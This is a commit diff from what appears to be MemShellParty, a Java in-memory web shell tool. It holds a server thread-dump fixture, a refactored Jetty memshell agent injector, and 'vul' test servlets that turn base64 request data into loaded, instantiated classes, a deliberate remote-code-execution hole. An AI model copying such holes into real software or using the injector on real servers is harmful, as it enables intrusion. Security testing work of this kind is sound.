org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"management Accept" #86 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"Timer-0" #83 [WAITING] on java.util.TaskQueue@508ad22e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 43" #68 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"DeploymentScanner-threads - 2" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c69f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-13" #99 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 60" #125 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default task-5" #134 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ejb-client-context-tasks-2-thread-1" #120 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f4dd68c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-20" #106 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"MSC service thread 1-7" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 35" #60 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 17" #40 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 52" #77 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default task-3" #132 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 36" #61 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default task-2" #122 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 38" #63 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 20" #43 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 37" #62 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 15" #38 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"management I/O-2" #85 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 26" #49 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 50" #75 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-2" #88 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 33" #58 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +com.fasterxml.jackson.eNpdl.ErrorHandler +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.security.handlers.AuthenticationMechanismsHandler +io.undertow.security.handlers.NotificationReceiverHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.JBossThread +org.wildfly.extension.undertow.security.SecurityContextAssociationHandler +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.xnio.nio.WorkerThread diff --git a/memshell-party-common/build.gradle.kts b/memshell-party-common/build.gradle.kts index 26b0df44..c8cb6236 100644 --- a/memshell-party-common/build.gradle.kts +++ b/memshell-party-common/build.gradle.kts @@ -9,6 +9,9 @@ description = "Common Utilities for MemShellParty" version = rootProject.version java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } sourceCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8 } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java b/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java index c17545f9..3848d9f3 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java @@ -1,9 +1,9 @@ package com.reajason.javaweb; -import net.bytebuddy.jar.asm.ClassReader; -import net.bytebuddy.jar.asm.ClassVisitor; -import net.bytebuddy.jar.asm.ClassWriter; -import net.bytebuddy.jar.asm.Opcodes; +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; /** * @author ReaJason diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java index 64fc3ad1..61e29351 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java @@ -9,10 +9,15 @@ import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.pool.TypePool; import org.jetbrains.annotations.NotNull; +import java.util.Collections; import java.util.Set; import java.util.stream.Collectors; +import static net.bytebuddy.matcher.ElementMatchers.named; + /** + * 静态方法替换 + * * @author ReaJason */ public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper { @@ -20,11 +25,20 @@ public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDec private final String targetClassName; private final Set replaceClassNames; - public MethodCallReplaceVisitorWrapper(String targetClassName, Set replaceClassNames) { + private MethodCallReplaceVisitorWrapper(String targetClassName, Set replaceClassNames) { this.targetClassName = targetClassName.replace(".", "/"); this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet()); } + public static AsmVisitorWrapper newInstance(String methodName, String className, String replaceClassName) { + return new AsmVisitorWrapper.ForDeclaredMethods() + .method(named(methodName), + new MethodCallReplaceVisitorWrapper( + className, + Collections.singleton(replaceClassName)) + ); + } + @NotNull @Override public MethodVisitor wrap(@NotNull TypeDescription instrumentedType, diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java index 08155c8c..2b59a8f5 100644 --- a/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java @@ -1,13 +1,9 @@ package com.reajason.javaweb.buddy; import net.bytebuddy.ByteBuddy; -import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.dynamic.DynamicType; import org.junit.jupiter.api.Test; -import java.util.Collections; - -import static net.bytebuddy.matcher.ElementMatchers.named; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -43,15 +39,8 @@ class MethodCallReplaceVisitorWrapperTest { DynamicType.Unloaded dynamicType = new ByteBuddy() .redefine(TargetClass.class) .name(newClassName) - .visit(new AsmVisitorWrapper - .ForDeclaredMethods() - .method(named("targetMethod"), - new MethodCallReplaceVisitorWrapper( - newClassName, - Collections.singleton(ExternalClass.class.getName()) - ) - ) - ) + .visit(MethodCallReplaceVisitorWrapper.newInstance( + "targetMethod", newClassName, ExternalClass.class.getName())) .make(); Class redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader()) .getLoaded(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java index edfcfd1e..41dd2014 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java @@ -23,7 +23,6 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", "org/mortbay/jetty/servlet/ServletHandler" ); - private static String targetClassName = ""; private static String targetMethodName = "doHandle"; public static String getClassName() { @@ -49,15 +48,14 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { - targetClassName = name; - if (targetClassName.contains("mortbay")) { + if (name.contains("mortbay")) { targetMethodName = "handle"; } - if (targetClassName.contains("ee10")) { + if (name.contains("ee10")) { targetMethodName = "doFilter"; } inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName); + System.out.println("MemShell Agent is working at " + name + "." + targetMethodName); } } } diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java index 9d2da258..465009a2 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java @@ -25,7 +25,8 @@ public class Base64ClassLoaderServlet extends ClassLoader implements Servlet { String data = req.getParameter("data"); try { byte[] bytes = decodeBase64(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); + res.getWriter().print(obj); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java b/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java index 772f13b6..94d8b462 100644 --- a/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java +++ b/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java @@ -22,7 +22,8 @@ public class Base64ClassLoaderServlet extends ClassLoader implements Servlet { String data = req.getParameter("data"); try { byte[] bytes = decodeBase64(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); + res.getWriter().print(obj); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/web/.env b/web/.env index 1f867a91..118b5060 100644 --- a/web/.env +++ b/web/.env @@ -1,2 +1,3 @@ VITE_APP_API_URL=http://127.0.0.1:8080 -VITE_APP_BASE_PATH=/ \ No newline at end of file +VITE_APP_BASE_PATH=/ +VITE_APP_LANDING=false \ No newline at end of file diff --git a/web/.env.production b/web/.env.production index 7ff78958..2d43daf7 100644 --- a/web/.env.production +++ b/web/.env.production @@ -1,2 +1,3 @@ VITE_APP_API_URL= -VITE_APP_BASE_PATH=/ \ No newline at end of file +VITE_APP_BASE_PATH=/ +VITE_APP_LANDING=true \ No newline at end of file diff --git a/web/biome.json b/web/biome.json index 3d549dd0..1e288e81 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,47 +1,37 @@ { - "$schema": "https://biomejs.dev/schemas/2.0.6/schema.json", + "$schema": "https://biomejs.dev/schemas/2.1.3/schema.json", "vcs": { - "enabled": true, + "enabled": false, "clientKind": "git", - "useIgnoreFile": true, - "defaultBranch": "master" + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "includes": [ + "**", + 